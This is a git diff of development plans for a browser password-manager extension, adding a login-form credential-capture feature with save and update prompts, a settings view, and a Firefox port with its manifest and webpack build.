|
||||
if (!list.includes(req.hostname)) {
|
||||
list.push(req.hostname);
|
||||
await saveBlacklist(list);
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
|
||||
case 'check_credential': {
|
||||
// If vault is locked, skip
|
||||
if (!masterKey || !gitHost || !manifest) {
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
}
|
||||
|
||||
// Check settings
|
||||
const settings = await loadSettings();
|
||||
if (!settings.captureEnabled) {
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
}
|
||||
|
||||
// Check blacklist
|
||||
let hostname: string;
|
||||
try {
|
||||
hostname = new URL(req.url).hostname;
|
||||
} catch {
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
}
|
||||
|
||||
const blacklist = await loadBlacklist();
|
||||
if (blacklist.includes(hostname)) {
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
}
|
||||
|
||||
// Find matching entries by hostname
|
||||
const matches = vault.findByUrl(manifest, req.url);
|
||||
if (matches.length === 0) {
|
||||
return { ok: true, data: { action: 'save' } };
|
||||
}
|
||||
|
||||
// Check if any match has the same username
|
||||
for (const [id, entry] of matches) {
|
||||
if (entry.username === req.username) {
|
||||
// Same username — check if password changed
|
||||
const fullEntry = await vault.fetchAndDecryptEntry(gitHost, masterKey, id);
|
||||
if (fullEntry.password === req.password) {
|
||||
// Exact match, already saved
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
} else {
|
||||
// Password changed
|
||||
return { ok: true, data: { action: 'update', entryId: id, entryName: entry.name } };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Different username on same site — new account
|
||||
return { ok: true, data: { action: 'save' } };
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Verify build**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: Compiles with no errors.
|
||||
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/service-worker/index.ts
|
||||
git commit -m "feat: add settings, blacklist, and credential check handlers"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 3: Credential Capture Content Script
|
||||
|
||||
**Files:**
|
||||
- Create: `extension/src/content/capture.ts`
|
||||
- Modify: `extension/src/content/detector.ts`
|
||||
|
||||
- [ ] **Step 1: Create capture.ts**
|
||||
|
||||
Create `extension/src/content/capture.ts`:
|
||||
|
||||
```typescript
|
||||
/// Credential capture — detects login form submissions and prompts
|
||||
/// the user to save or update credentials in the vault.
|
||||
///
|
||||
/// This module hooks form submit events and submit button clicks,
|
||||
/// captures username + password, asks the service worker whether to
|
||||
/// save/update/skip, and injects a prompt (bar or toast) into the page.
|
||||
|
||||
// --- Types ---
|
||||
|
||||
interface CaptureResult {
|
||||
action: 'save' | 'update' | 'skip';
|
||||
entryId?: string;
|
||||
entryName?: string;
|
||||
}
|
||||
|
||||
type PromptStyle = 'bar' | 'toast';
|
||||
|
||||
// Track forms we've already hooked to avoid duplicates.
|
||||
const hookedForms = new WeakSet<HTMLFormElement>();
|
||||
const hookedButtons = new WeakSet<HTMLElement>();
|
||||
|
||||
// --- Form Submission Detection ---
|
||||
|
||||
/// Find the username field associated with a password field.
|
||||
/// Same priority as detector.ts but inlined to avoid circular deps.
|
||||
function findUsername(pwField: HTMLInputElement): string {
|
||||
const form = pwField.closest('form');
|
||||
const scope = form ?? document;
|
||||
const inputs = scope.querySelectorAll<HTMLInputElement>('input');
|
||||
|
||||
// autocomplete="username"
|
||||
for (const input of inputs) {
|
||||
if (input !== pwField && input.autocomplete === 'username' && input.value) return input.value;
|
||||
}
|
||||
// autocomplete="email"
|
||||
for (const input of inputs) {
|
||||
if (input !== pwField && input.autocomplete === 'email' && input.value) return input.value;
|
||||
}
|
||||
// type="email"
|
||||
for (const input of inputs) {
|
||||
if (input !== pwField && input.type === 'email' && input.value) return input.value;
|
||||
}
|
||||
// name/id pattern
|
||||
const pattern = /user|email|login|account/i;
|
||||
for (const input of inputs) {
|
||||
if (input === pwField || input.type === 'hidden' || input.type === 'password') continue;
|
||||
if ((pattern.test(input.name) || pattern.test(input.id)) && input.value) return input.value;
|
||||
}
|
||||
// Nearest preceding visible text input
|
||||
const allInputs = Array.from(inputs);
|
||||
const pwIndex = allInputs.indexOf(pwField);
|
||||
for (let i = pwIndex - 1; i >= 0; i--) {
|
||||
const input = allInputs[i];
|
||||
if (input.type === 'hidden' || input.type === 'password' || input.type === 'submit') continue;
|
||||
if (input.offsetWidth > 0 && input.offsetHeight > 0 && input.value) return input.value;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/// Capture credentials from a form that contains a password field.
|
||||
function captureFromForm(form: HTMLFormElement): { username: string; password: string } | null {
|
||||
const pwField = form.querySelector<HTMLInputElement>('input[type="password"]');
|
||||
if (!pwField || !pwField.value) return null;
|
||||
|
||||
const username = findUsername(pwField);
|
||||
return { username, password: pwField.value };
|
||||
}
|
||||
|
||||
/// Handle a form submission — capture credentials and check with service worker.
|
||||
async function handleSubmission(form: HTMLFormElement): Promise<void> {
|
||||
const creds = captureFromForm(form);
|
||||
if (!creds || !creds.password) return;
|
||||
|
||||
const url = window.location.href;
|
||||
|
||||
try {
|
||||
const response = await chrome.runtime.sendMessage({
|
||||
type: 'check_credential',
|
||||
url,
|
||||
username: creds.username,
|
||||
password: creds.password,
|
||||
});
|
||||
|
||||
if (!response?.ok) return;
|
||||
const result = response.data as CaptureResult;
|
||||
if (result.action === 'skip') return;
|
||||
|
||||
// Get the prompt style from settings
|
||||
const settingsResp = await chrome.runtime.sendMessage({ type: 'get_settings' });
|
||||
const style: PromptStyle = settingsResp?.ok ? (settingsResp.data as { captureStyle: PromptStyle }).captureStyle : 'bar';
|
||||
|
||||
showPrompt(style, result, url, creds.username, creds.password);
|
||||
} catch {
|
||||
// Extension not available or vault locked — silently skip
|
||||
}
|
||||
}
|
||||
|
||||
/// Hook form submit events and submit button clicks.
|
||||
export function hookForms(): void {
|
||||
const forms = document.querySelectorAll<HTMLFormElement>('form');
|
||||
|
||||
for (const form of forms) {
|
||||
// Only hook forms that contain a password field.
|
||||
if (!form.querySelector('input[type="password"]')) continue;
|
||||
if (hookedForms.has(form)) continue;
|
||||
hookedForms.add(form);
|
||||
|
||||
// Hook form submit event.
|
||||
form.addEventListener('submit', () => {
|
||||
handleSubmission(form);
|
||||
});
|
||||
|
||||
// Hook submit button clicks (some sites don't use form submit).
|
||||
const submitBtns = form.querySelectorAll<HTMLElement>(
|
||||
'button[type="submit"], input[type="submit"], button:not([type])'
|
||||
);
|
||||
for (const btn of submitBtns) {
|
||||
if (hookedButtons.has(btn)) continue;
|
||||
hookedButtons.add(btn);
|
||||
btn.addEventListener('click', () => {
|
||||
handleSubmission(form);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Prompt UI ---
|
||||
|
||||
/// Remove any existing relicario prompt from the page.
|
||||
function removePrompt(): void {
|
||||
document.getElementById('relicario-capture-prompt')?.remove();
|
||||
}
|
||||
|
||||
/// Show a save/update prompt.
|
||||
function showPrompt(
|
||||
style: PromptStyle,
|
||||
result: CaptureResult,
|
||||
url: string,
|
||||
username: string,
|
||||
password: string,
|
||||
): void {
|
||||
removePrompt();
|
||||
|
||||
let hostname: string;
|
||||
try {
|
||||
hostname = new URL(url).hostname;
|
||||
} catch {
|
||||
hostname = url;
|
||||
}
|
||||
|
||||
const isUpdate = result.action === 'update';
|
||||
const actionLabel = isUpdate ? 'Update' : 'Save';
|
||||
const message = isUpdate
|
||||
? `Update password for ${hostname}?`
|
||||
: `Save login for ${hostname}?`;
|
||||
|
||||
const container = document.createElement('div');
|
||||
container.id = 'relicario-capture-prompt';
|
||||
|
||||
// Common styles
|
||||
const baseStyles = `
|
||||
font-family: 'JetBrains Mono', 'Cascadia Code', 'Fira Code', monospace;
|
||||
font-size: 13px;
|
||||
color: #c9d1d9;
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
z-index: 2147483647;
|
||||
box-sizing: border-box;
|
||||
`;
|
||||
|
||||
if (style === 'bar') {
|
||||
container.style.cssText = `
|
||||
${baseStyles}
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
padding: 10px 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
border-top: none;
|
||||
border-left: none;
|
||||
border-right: none;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.4);
|
||||
transform: translateY(-100%);
|
||||
transition: transform 0.2s ease-out;
|
||||
`;
|
||||
// Slide in after a frame
|
||||
requestAnimationFrame(() => {
|
||||
requestAnimationFrame(() => {
|
||||
container.style.transform = 'translateY(0)';
|
||||
});
|
||||
});
|
||||
} else {
|
||||
container.style.cssText = `
|
||||
${baseStyles}
|
||||
position: fixed;
|
||||
bottom: 16px;
|
||||
right: 16px;
|
||||
padding: 12px 16px;
|
||||
border-radius: 4px;
|
||||
min-width: 260px;
|
||||
max-width: 340px;
|
||||
box-shadow: 0 4px 12px rgba(0,0,0,0.4);
|
||||
opacity: 0;
|
||||
transition: opacity 0.2s ease-out;
|
||||
`;
|
||||
requestAnimationFrame(() => {
|
||||
container.style.opacity = '1';
|
||||
});
|
||||
|
||||
// Auto-dismiss after 15 seconds.
|
||||
setTimeout(() => {
|
||||
if (container.isConnected) {
|
||||
container.style.opacity = '0';
|
||||
setTimeout(removePrompt, 200);
|
||||
}
|
||||
}, 15000);
|
||||
}
|
||||
|
||||
// Brand label
|
||||
const brand = document.createElement('span');
|
||||
brand.textContent = 'relicario';
|
||||
brand.style.cssText = 'color: #58a6ff; font-weight: normal; letter-spacing: 1px;';
|
||||
|
||||
// Message text
|
||||
const msg = document.createElement('span');
|
||||
msg.style.cssText = 'flex: 1;';
|
||||
if (style === 'bar') {
|
||||
msg.textContent = `${message} ${username ? `(${username})` : ''}`;
|
||||
} else {
|
||||
msg.innerHTML = `${escapeHtml(message)}<br><span style="color:#8b949e;font-size:11px;">${escapeHtml(username)}</span>`;
|
||||
}
|
||||
|
||||
// Buttons
|
||||
const btnStyle = `
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
padding: 4px 12px;
|
||||
border-radius: 2px;
|
||||
cursor: pointer;
|
||||
border: none;
|
||||
`;
|
||||
|
||||
const saveBtn = document.createElement('button');
|
||||
saveBtn.textContent = actionLabel;
|
||||
saveBtn.style.cssText = `${btnStyle} background: #1f6feb; color: #fff;`;
|
||||
|
||||
const neverBtn = document.createElement('button');
|
||||
neverBtn.textContent = 'Never';
|
||||
neverBtn.style.cssText = `${btnStyle} background: #21262d; color: #8b949e; border: 1px solid #30363d;`;
|
||||
|
||||
const closeBtn = document.createElement('button');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.style.cssText = `${btnStyle} background: transparent; color: #484f58; font-size: 14px; padding: 4px 8px;`;
|
||||
|
||||
// Event handlers
|
||||
saveBtn.addEventListener('click', async () => {
|
||||
saveBtn.disabled = true;
|
||||
saveBtn.textContent = '...';
|
||||
|
||||
try {
|
||||
if (isUpdate && result.entryId) {
|
||||
// Fetch existing entry, update password
|
||||
const getResp = await chrome.runtime.sendMessage({ type: 'get_entry', id: result.entryId });
|
||||
if (getResp?.ok) {
|
||||
const existing = (getResp.data as { entry: Record<string, unknown> }).entry;
|
||||
await chrome.runtime.sendMessage({
|
||||
type: 'update_entry',
|
||||
id: result.entryId,
|
||||
entry: { ...existing, password },
|
||||
});
|
||||
}
|
||||
} else {
|
||||
await chrome.runtime.sendMessage({
|
||||
type: 'add_entry',
|
||||
entry: {
|
||||
name: hostname,
|
||||
url,
|
||||
username: username || undefined,
|
||||
password,
|
||||
created_at: new Date().toISOString(),
|
||||
updated_at: new Date().toISOString(),
|
||||
},
|
||||
});
|
||||
}
|
||||
// Brief confirmation
|
||||
msg.textContent = isUpdate ? '✓ Updated' : '✓ Saved';
|
||||
saveBtn.remove();
|
||||
neverBtn.remove();
|
||||
setTimeout(removePrompt, 1500);
|
||||
} catch {
|
||||
saveBtn.textContent = 'Error';
|
||||
setTimeout(removePrompt, 2000);
|
||||
}
|
||||
});
|
||||
|
||||
neverBtn.addEventListener('click', async () => {
|
||||
await chrome.runtime.sendMessage({ type: 'blacklist_site', hostname });
|
||||
removePrompt();
|
||||
});
|
||||
|
||||
closeBtn.addEventListener('click', removePrompt);
|
||||
|
||||
// Assemble
|
||||
if (style === 'bar') {
|
||||
container.appendChild(brand);
|
||||
container.appendChild(msg);
|
||||
container.appendChild(saveBtn);
|
||||
container.appendChild(neverBtn);
|
||||
container.appendChild(closeBtn);
|
||||
} else {
|
||||
const header = document.createElement('div');
|
||||
header.style.cssText = 'display:flex; justify-content:space-between; align-items:center; margin-bottom:8px;';
|
||||
header.appendChild(brand);
|
||||
header.appendChild(closeBtn);
|
||||
|
||||
const body = document.createElement('div');
|
||||
body.style.cssText = 'margin-bottom:10px;';
|
||||
body.appendChild(msg);
|
||||
|
||||
const actions = document.createElement('div');
|
||||
actions.style.cssText = 'display:flex; gap:8px; justify-content:flex-end;';
|
||||
actions.appendChild(neverBtn);
|
||||
actions.appendChild(saveBtn);
|
||||
|
||||
container.appendChild(header);
|
||||
container.appendChild(body);
|
||||
container.appendChild(actions);
|
||||
}
|
||||
|
||||
document.body.appendChild(container);
|
||||
}
|
||||
|
||||
function escapeHtml(s: string): string {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = s;
|
||||
return div.innerHTML;
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Import and init capture in detector.ts**
|
||||
|
||||
Add to the top of `extension/src/content/detector.ts`, after the existing imports:
|
||||
|
||||
```typescript
|
||||
import { hookForms } from './capture';
|
||||
```
|
||||
|
||||
Add `hookForms()` calls in two places:
|
||||
|
||||
After the `scan()` call near the bottom (line ~91):
|
||||
```typescript
|
||||
// Initial scan.
|
||||
scan();
|
||||
hookForms();
|
||||
```
|
||||
|
||||
Inside the MutationObserver callback (line ~95):
|
||||
```typescript
|
||||
const observer = new MutationObserver(() => {
|
||||
scan();
|
||||
hookForms();
|
||||
});
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Build and verify**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: Compiles with no errors.
|
||||
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/content/capture.ts extension/src/content/detector.ts
|
||||
git commit -m "feat: add credential capture with bar/toast prompts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 4: Settings View in Popup
|
||||
|
||||
**Files:**
|
||||
- Create: `extension/src/popup/components/settings.ts`
|
||||
- Modify: `extension/src/popup/popup.ts`
|
||||
- Modify: `extension/src/popup/components/unlock.ts`
|
||||
|
||||
- [ ] **Step 1: Create settings.ts**
|
||||
|
||||
Create `extension/src/popup/components/settings.ts`:
|
||||
|
||||
```typescript
|
||||
/// Settings view — configure credential capture and manage blacklist.
|
||||
|
||||
import { setState, sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type { RelicarioSettings } from '../../shared/types';
|
||||
|
||||
export async function renderSettings(app: HTMLElement): Promise<void> {
|
||||
// Load current settings and blacklist in parallel.
|
||||
const [settingsResp, blacklistResp] = await Promise.all([
|
||||
sendMessage({ type: 'get_settings' }),
|
||||
sendMessage({ type: 'get_blacklist' }),
|
||||
]);
|
||||
|
||||
const settings: RelicarioSettings = settingsResp.ok
|
||||
? settingsResp.data as RelicarioSettings
|
||||
: { captureEnabled: false, captureStyle: 'bar' };
|
||||
|
||||
const blacklist: string[] = blacklistResp.ok
|
||||
? (blacklistResp.data as { blacklist: string[] }).blacklist
|
||||
: [];
|
||||
|
||||
app.innerHTML = `
|
||||
<div class="pad" style="padding-top:12px;">
|
||||
<div style="margin-bottom:16px;">
|
||||
<span class="secondary" style="cursor:pointer;font-size:11px;" id="back-btn">← back</span>
|
||||
</div>
|
||||
|
||||
<div class="brand" style="margin-bottom:16px;">settings</div>
|
||||
|
||||
<div class="form-group" style="margin-bottom:16px;">
|
||||
<div class="label">CREDENTIAL CAPTURE <span class="muted">(experimental)</span></div>
|
||||
<div style="display:flex;align-items:center;gap:8px;margin-top:6px;">
|
||||
<label style="display:flex;align-items:center;gap:6px;cursor:pointer;font-size:12px;">
|
||||
<input type="checkbox" id="capture-toggle" ${settings.captureEnabled ? 'checked' : ''}>
|
||||
auto-detect logins
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group" style="margin-bottom:16px;">
|
||||
<div class="label">PROMPT STYLE</div>
|
||||
<div style="display:flex;gap:8px;margin-top:6px;">
|
||||
<button class="group-tab ${settings.captureStyle === 'bar' ? 'active' : ''}" data-style="bar">bar</button>
|
||||
<button class="group-tab ${settings.captureStyle === 'toast' ? 'active' : ''}" data-style="toast">toast</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
${blacklist.length > 0 ? `
|
||||
<div class="form-group">
|
||||
<div class="label">BLACKLISTED SITES</div>
|
||||
<div style="margin-top:6px;">
|
||||
${blacklist.map(h => `
|
||||
<div style="display:flex;justify-content:space-between;align-items:center;padding:3px 0;font-size:11px;">
|
||||
<span class="secondary">${escapeHtml(h)}</span>
|
||||
<span class="muted" style="cursor:pointer;" data-remove-host="${escapeHtml(h)}">✕</span>
|
||||
</div>
|
||||
`).join('')}
|
||||
</div>
|
||||
</div>
|
||||
` : ''}
|
||||
</div>
|
||||
`;
|
||||
|
||||
// --- Event listeners ---
|
||||
|
||||
document.getElementById('back-btn')?.addEventListener('click', () => {
|
||||
navigate('locked');
|
||||
});
|
||||
|
||||
document.getElementById('capture-toggle')?.addEventListener('change', async (e) => {
|
||||
const enabled = (e.target as HTMLInputElement).checked;
|
||||
await sendMessage({ type: 'update_settings', settings: { captureEnabled: enabled } });
|
||||
});
|
||||
|
||||
document.querySelectorAll('[data-style]').forEach(btn => {
|
||||
btn.addEventListener('click', async () => {
|
||||
const style = (btn as HTMLElement).dataset.style as 'bar' | 'toast';
|
||||
await sendMessage({ type: 'update_settings', settings: { captureStyle: style } });
|
||||
// Re-render to update active state.
|
||||
renderSettings(app);
|
||||
});
|
||||
});
|
||||
|
||||
document.querySelectorAll('[data-remove-host]').forEach(btn => {
|
||||
btn.addEventListener('click', async () => {
|
||||
const hostname = (btn as HTMLElement).dataset.removeHost!;
|
||||
await sendMessage({ type: 'remove_blacklist', hostname });
|
||||
// Re-render to remove from list.
|
||||
renderSettings(app);
|
||||
});
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Add 'settings' view to popup.ts**
|
||||
|
||||
In `extension/src/popup/popup.ts`:
|
||||
|
||||
Add the import at the top with the other component imports:
|
||||
|
||||
```typescript
|
||||
import { renderSettings } from './components/settings';
|
||||
```
|
||||
|
||||
Update the `View` type:
|
||||
|
||||
```typescript
|
||||
export type View = 'setup' | 'locked' | 'list' | 'detail' | 'add' | 'edit' | 'settings';
|
||||
```
|
||||
|
||||
Add the case to the `render()` switch:
|
||||
|
||||
```typescript
|
||||
case 'settings':
|
||||
renderSettings(app);
|
||||
break;
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Wire settings button in unlock.ts**
|
||||
|
||||
In `extension/src/popup/components/unlock.ts`, change the settings button handler (line ~55):
|
||||
|
||||
From:
|
||||
```typescript
|
||||
settingsBtn?.addEventListener('click', () => navigate('setup'));
|
||||
```
|
||||
|
||||
To:
|
||||
```typescript
|
||||
settingsBtn?.addEventListener('click', () => navigate('settings'));
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Build and verify**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: Compiles with no errors.
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/popup/components/settings.ts extension/src/popup/popup.ts extension/src/popup/components/unlock.ts
|
||||
git commit -m "feat: add settings view with capture toggle and blacklist management"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 5: Build and Manual Test
|
||||
|
||||
**Files:** None (integration testing)
|
||||
|
||||
- [ ] **Step 1: Full build**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: Compiles with no errors (warnings about WASM size are fine).
|
||||
|
||||
- [ ] **Step 2: Reload extension in Chrome**
|
||||
|
||||
Open `chrome://extensions/`, reload the unpacked extension.
|
||||
|
||||
- [ ] **Step 3: Test settings view**
|
||||
|
||||
1. Open popup → click "settings" from unlock screen
|
||||
2. Verify toggle for "auto-detect logins" (should be off by default)
|
||||
3. Toggle it on
|
||||
4. Verify bar/toast style selector works
|
||||
5. Go back to unlock screen
|
||||
|
||||
- [ ] **Step 4: Test credential capture (bar mode)**
|
||||
|
||||
1. Enable capture in settings, set style to "bar"
|
||||
2. Unlock the vault
|
||||
3. Navigate to a login page (e.g. GitHub)
|
||||
4. Enter credentials and submit the form
|
||||
5. Verify: notification bar slides down from top with "Save login for github.com?"
|
||||
6. Click "Save" — verify entry appears in vault
|
||||
7. Submit same credentials again — verify no prompt (already saved)
|
||||
8. Change password and submit — verify "Update password?" prompt
|
||||
|
||||
- [ ] **Step 5: Test credential capture (toast mode)**
|
||||
|
||||
1. Change style to "toast" in settings
|
||||
2. Submit a login form on a new site
|
||||
3. Verify: floating toast appears in bottom-right
|
||||
4. Verify: auto-dismisses after ~15 seconds if ignored
|
||||
|
||||
- [ ] **Step 6: Test blacklist**
|
||||
|
||||
1. Click "Never" on a capture prompt
|
||||
2. Submit login on same site again — verify no prompt
|
||||
3. Open settings — verify site appears in blacklist
|
||||
4. Remove site from blacklist — verify it's gone
|
||||
|
||||
- [ ] **Step 7: Fix any issues found**
|
||||
|
||||
- [ ] **Step 8: Final commit**
|
||||
|
||||
```bash
|
||||
git add -A
|
||||
git commit -m "feat: complete credential capture feature"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task Summary
|
||||
|
||||
| Task | Description | Dependencies |
|
||||
|------|-------------|--------------|
|
||||
| 1 | Add types and message definitions | None |
|
||||
| 2 | Service worker message handlers | Task 1 |
|
||||
| 3 | Capture content script + detector integration | Task 1 |
|
||||
| 4 | Settings view in popup | Task 1 |
|
||||
| 5 | Build and manual test | All |
|
||||
|
||||
Tasks 2, 3, and 4 can run in parallel after Task 1. Task 5 is final integration.
|
||||
323
docs/superpowers/plans/2026-04-12-relicario-firefox-extension.md
Normal file
323
docs/superpowers/plans/2026-04-12-relicario-firefox-extension.md
Normal file
@@ -0,0 +1,323 @@
|
||||
# relicario Firefox Extension Port Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Port the Chrome extension to Firefox with shared TypeScript source, a Firefox-specific manifest, and a separate webpack build target.
|
||||
|
||||
**Architecture:** All TypeScript source is shared. The only code change is an environment check in `index.ts` for WASM loading (service worker vs background script). A second webpack config produces `dist-firefox/` with the Firefox manifest.
|
||||
|
||||
**Tech Stack:** TypeScript, webpack, Firefox WebExtensions MV3
|
||||
|
||||
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-firefox-extension-design.md`
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
### New files
|
||||
|
||||
```
|
||||
extension/manifest.firefox.json # Firefox-specific manifest
|
||||
extension/webpack.firefox.config.js # Webpack config for Firefox build
|
||||
```
|
||||
|
||||
### Modified files
|
||||
|
||||
```
|
||||
extension/src/service-worker/index.ts # Environment-aware WASM loading
|
||||
extension/package.json # Add Firefox build scripts
|
||||
.gitignore # Add extension/dist-firefox/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 1: Firefox Manifest and Webpack Config
|
||||
|
||||
**Files:**
|
||||
- Create: `extension/manifest.firefox.json`
|
||||
- Create: `extension/webpack.firefox.config.js`
|
||||
- Modify: `extension/package.json`
|
||||
- Modify: `.gitignore`
|
||||
|
||||
- [ ] **Step 1: Create Firefox manifest**
|
||||
|
||||
Create `extension/manifest.firefox.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "relicario",
|
||||
"version": "0.1.0",
|
||||
"description": "Two-factor encrypted password manager",
|
||||
"browser_specific_settings": {
|
||||
"gecko": {
|
||||
"id": "relicario@adlee.work",
|
||||
"strict_min_version": "128.0"
|
||||
}
|
||||
},
|
||||
"permissions": ["storage", "activeTab", "clipboardWrite"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"background": {
|
||||
"scripts": ["service-worker.js"]
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "popup.html",
|
||||
"default_icon": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
}
|
||||
},
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["content.js"],
|
||||
"run_at": "document_idle"
|
||||
}
|
||||
],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
},
|
||||
"web_accessible_resources": [
|
||||
{
|
||||
"resources": [
|
||||
"setup.html",
|
||||
"setup.js",
|
||||
"styles.css",
|
||||
"relicario_wasm_bg.wasm",
|
||||
"relicario_wasm.js"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Create Firefox webpack config**
|
||||
|
||||
Create `extension/webpack.firefox.config.js`:
|
||||
|
||||
```javascript
|
||||
const path = require('path');
|
||||
const CopyPlugin = require('copy-webpack-plugin');
|
||||
|
||||
module.exports = {
|
||||
entry: {
|
||||
'service-worker': './src/service-worker/index.ts',
|
||||
popup: './src/popup/popup.ts',
|
||||
content: './src/content/detector.ts',
|
||||
setup: './src/setup/setup.ts',
|
||||
},
|
||||
output: {
|
||||
path: path.resolve(__dirname, 'dist-firefox'),
|
||||
filename: '[name].js',
|
||||
clean: true,
|
||||
},
|
||||
resolve: {
|
||||
extensions: ['.ts', '.js'],
|
||||
},
|
||||
module: {
|
||||
rules: [{ test: /\.ts$/, use: 'ts-loader', exclude: /node_modules/ }],
|
||||
},
|
||||
plugins: [
|
||||
new CopyPlugin({
|
||||
patterns: [
|
||||
{ from: 'manifest.firefox.json', to: 'manifest.json' },
|
||||
{ from: 'src/popup/index.html', to: 'popup.html' },
|
||||
{ from: 'src/popup/styles.css', to: 'styles.css' },
|
||||
{ from: 'setup.html', to: '.' },
|
||||
{ from: 'icons', to: 'icons' },
|
||||
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
|
||||
{ from: 'wasm/relicario_wasm.js', to: '.' },
|
||||
],
|
||||
}),
|
||||
],
|
||||
experiments: { asyncWebAssembly: true },
|
||||
};
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Add Firefox build scripts to package.json**
|
||||
|
||||
In `extension/package.json`, update the `scripts` section:
|
||||
|
||||
```json
|
||||
{
|
||||
"scripts": {
|
||||
"build": "webpack --mode production",
|
||||
"build:firefox": "webpack --config webpack.firefox.config.js --mode production",
|
||||
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
|
||||
"dev": "webpack --mode development --watch",
|
||||
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
|
||||
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Add `dist-firefox/` to `.gitignore`**
|
||||
|
||||
Append to the root `.gitignore`:
|
||||
|
||||
```
|
||||
extension/dist-firefox/
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/manifest.firefox.json extension/webpack.firefox.config.js extension/package.json .gitignore
|
||||
git commit -m "feat: add Firefox manifest and webpack config"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 2: Environment-Aware WASM Loading
|
||||
|
||||
**Files:**
|
||||
- Modify: `extension/src/service-worker/index.ts`
|
||||
|
||||
- [ ] **Step 1: Update the WASM init function**
|
||||
|
||||
In `extension/src/service-worker/index.ts`, replace the current `initWasm` function and its surrounding comments (lines 23-49) with:
|
||||
|
||||
```typescript
|
||||
// --- WASM initialization ---
|
||||
|
||||
// Chrome MV3 uses service workers which do NOT support dynamic import().
|
||||
// Firefox MV3 uses background scripts which DO support dynamic import().
|
||||
// We detect the environment at runtime and use the appropriate loading strategy.
|
||||
//
|
||||
// The JS glue is imported statically so webpack bundles it. Both initSync
|
||||
// (Chrome) and the default export (Firefox) are available.
|
||||
|
||||
// @ts-ignore TS2307 — resolved by webpack alias / copy
|
||||
import initDefault, { initSync } from '../../wasm/relicario_wasm.js';
|
||||
// @ts-ignore TS2307
|
||||
import * as wasmBindings from '../../wasm/relicario_wasm.js';
|
||||
|
||||
type WasmModule = typeof wasmBindings;
|
||||
let wasm: WasmModule | null = null;
|
||||
|
||||
async function initWasm(): Promise<WasmModule> {
|
||||
if (wasm) return wasm;
|
||||
|
||||
const isServiceWorker = typeof ServiceWorkerGlobalScope !== 'undefined'
|
||||
&& self instanceof ServiceWorkerGlobalScope;
|
||||
|
||||
if (isServiceWorker) {
|
||||
// Chrome: fetch WASM binary and instantiate synchronously
|
||||
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
|
||||
const wasmBytes = await wasmResponse.arrayBuffer();
|
||||
initSync({ module: new WebAssembly.Module(wasmBytes) });
|
||||
} else {
|
||||
